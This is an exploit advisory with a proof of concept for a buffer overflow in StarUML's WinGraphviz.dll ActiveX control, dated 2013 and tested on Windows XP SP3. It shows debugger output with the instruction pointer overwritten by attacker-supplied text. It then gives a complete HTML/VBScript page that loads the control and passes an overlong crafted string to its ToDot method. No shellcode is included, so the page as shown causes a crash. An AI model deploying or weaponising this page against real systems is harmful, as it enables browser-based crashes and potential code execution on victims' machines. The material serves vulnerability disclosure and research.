# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://staruml.sourceforge.net/en/
# Software Link: http://staruml.sourceforge.net/en/
# Tested on: Windows XP SP3
 
 

About StarUML
--------------

StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform. 




 
Exception Code: ACCESS_VIOLATION
Disasm: D98439	MOV DL,[EBP]	(WinGraphviz.DLL)

Seh Chain:
--------------------------------------------------
1 	6B47D959 	VBSCRIPT.dll
2 	772FE115 	ntdll.dll


Called From                   Returns To                    
--------------------------------------------------


Registers:
--------------------------------------------------
EIP 00D98439 -> Asc: http://testtesttestte?stesttesttesttesttes
EAX 00894119 -> Asc: http://testtesttestte?stesttesttesttesttes
EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://testtesttestte?stesttesttesttesttes
EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059



The example code below triggers the vulnerability
-------------------------------------------------


<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:Program FilesStarUMLWinGraphviz.dll"
prototype  = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid     = "WINGRAPHVIZLib.NEATO"
argCount   = 1

arg1="http://testtesttestte?stesttesttesttesttestte@sttestesttesttes.ttesttesttesttestesttestte.sttesttesttesttestesttesttest\\\\:#$%testtesttestte?stesttesttes\:#$%ttesttestte@sttestesttesttes.ttesttesttesttestesttestte.sttesttesttesttestesttesttest\\\\:#$%testtesttestte?stesttesttes\:#$%ttesttestte@sttestesttesttes.ttesttesttesttestesttestte.sttesttesttesttestesttesttest\\\\:#$%testtesttestte?stesttesttes\:#$%ttesttestte@sttestesttesttes.ttesttesttesttestesttestte.sttesttesttesttestesttesttest\\\"

target.ToDot arg1 

</script>